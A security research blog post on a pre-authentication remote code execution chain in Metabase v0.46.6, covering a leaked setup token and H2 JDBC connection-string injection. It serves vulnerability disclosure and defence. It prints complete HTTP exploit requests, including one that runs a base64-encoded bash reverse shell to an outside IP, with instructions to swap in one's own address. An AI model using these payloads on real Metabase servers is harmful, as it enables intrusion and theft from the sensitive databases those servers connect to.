Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources. It’s a popular project, with over 33k stars on GitHub and has had quite a lot of scrutiny from a vulnerability research perspective in the last few years.
Our security research team decided to focus on this product due to our experiences in dealing with previous vulnerabilities that affected Metabase (Log4Shell, SSRF) and due to our analysis on the widespread nature of this software on the internet.
Despite Metabase not giving us credit in their initial advisory, we were the original discoverers and reporters of this bug to Metabase.
As of writing this blog post, there are about ~20k instances of Metabase exposed on the external internet. Given that this tool is designed to connect to extremely sensitive datasources, a pre-auth RCE vulnerability has a great impact, as not only are you able to get a shell on a critical part of an organization’s network, but you will likely also be able to access sensitive datasources.
In order to follow along in our journey to achieving pre-auth RCE, you can spin up an instance of Metabase that is vulnerable by running the following command: docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
. This will spin up a vulnerable instance of Metabase on port 3000. No special configuration is required to exploit the vulnerability we present in this blog.
When reviewing the different flows inside Metabase and capturing the traffic from the installation steps of the product, we noticed that there was a special token that was used to allow users to complete the setup process. This token was called the setup-token
and most people would assume that the setup flow can only be completed once (the first setup).
After auditing Metabase’s Clojure code and their frontend, we found that the intended flow for Metabase’s setup looked something like the following:
However, as we set up our local instance of Metabase, we were shocked to find that the setup-token
value was still present after the installation and accessible to unauthenticated users via the following two methods:
/api/session/properties
(also accessible without auth)So, in reality, what was actually happening was the following:
But hang on a second, a lot of the instances we were checking online did not have the setup-token exposed. Many instances we checked had "setup-token":null
, so why is our local installation not wiping the setup token? We did get some comfort as we did also find plenty of instances in the wild where the setup-token had not been wiped even though the instances were fully setup.
At this point, both my colleague and I were frantically trying to work out the root cause of this issue. It was not immediately obvious even after several hours of reading their codebase. We decided to take a journey down memory lane and systematically go through their historical commits until we found a clue.
Eventually, we landed on the following commit made in Jan, 2022: https://github.com/metabase/metabase/commit/0526d88f997d0f26304cdbb6313996df463ad13f#diff-44990eafd7da3ac7942a9f232b56ec045c558fdc3c414a2439e42b5668eced32L141.
Based off our understanding, there was some refactoring work done on the Metabase codebase where a critical part of the setup flow was deleted: removing the setup token after Metabase has been setup.
To explain the caveat to this entire chain, in order for your Metabase instance to have been vulnerable, it must have been set up after this commit was made (Jan 2022). This explained why so many older Metabase instances did not have their setup-token exposed.
With that mystery solved, we moved onto the next stage of the exploitation process, which was going from an exposed setup token to reliable remote code execution. Given that Metabase is designed to connect to so many different types of datasources/databases, we were confident that we could escalate this vulnerability.
The setup phase of Metabase prompts you to connect to a datasource/database. As this is a part of the setup flow, an endpoint exists at /api/setup/validate
which takes in a JDBC URI as a part of the POST request and then validates the connection before allowing you to complete the setup.
In the land of Clojure/Java, it’s common to see many different database connectors made possible through JDBC drivers, and from our previous experiences, we have been quite successful at achieving code execution by abusing these JDBC connectors.
One of the most common attack vectors in this space is abusing the H2 database INIT
parameter to execute arbitrary code. We thought that this would be a straight forward way to achieve pre-auth RCE, however we quickly found that this issue had already been reported and patched by Metabase in the past.
As Metabase was actively blocking the usage of the INIT
parameter when connecting to H2 databases, we had to determine an alternative connection string that would still execute our code. After spending a few hours on this, we discovered that a SQL injection vulnerability existed within the H2 database driver itself, allowing us to execute code without the usage of INIT
.
The purpose of the INIT
keyword in the first place, is just a SQL query that is ran on the initiation of the database connection. Even with this keyword being blocked, all we needed to do was to discover an alternative argument that would let us run arbitrary SQL. By using the TRACE_LEVEL_SYSTEM_OUT
argument and stacking our SQL queries (via SQL injection), we were able to execute arbitrary code.
Even knowing this, we had one last challenge to surpass before getting RCE in a reliable manner, which H2 database were we going to point Metabase to during this validation step? Using the Metabase database itself would lead to the database being corrupt and was not an ideal exploit for this vulnerability.
We noticed that a sample H2 database is provided inside Metabase’s JAR file, and with the power of a zip
URI, we could use this sample database in our attack chain without corrupting any databases or the application.
Combining all of these pieces together, we are left with a beautiful proof-of-concept which can be found below:
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 566
{
"token": "5491c003-41c2-482d-bab4-6e174aa1738c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
Just to recap, to get to this stage, the following was done:
/api/session/properties
zip:/app/metabase.jar!/sample-database.db
to prevent the corruption of any databases on diskWith the request above, we were able to reliably get code execution.
The following payload can be used to obtain a reverse shell on the system:
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812
{
"token": "5491c003-41c2-482d-bab4-6e174aa1738c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
The value of YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx
decoded is bash -i >&/dev/tcp/1.1.1.1/9998 0>&1
. You must encode this with your own IP and port, and then modify the payload above before sending it.
Based off discussions with other researchers, the following techniques are also possible:
INIT
to bypass the blocked keyword protection. (thanks to Reginaldo)mem
DB instead of the zip URI. (thanks Harsh and Rahul)To remediate the issue, you can follow the instructions from Metabase that can be found here: https://www.metabase.com/blog/security-advisory and https://github.com/metabase/metabase/releases/tag/v0.46.6.1.
As always, customers of our Attack Surface Management platform have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.
Find out how Assetnote can help you lock down your external attack surface.
Use the lead form below, or alternatively contact us via email by clicking here.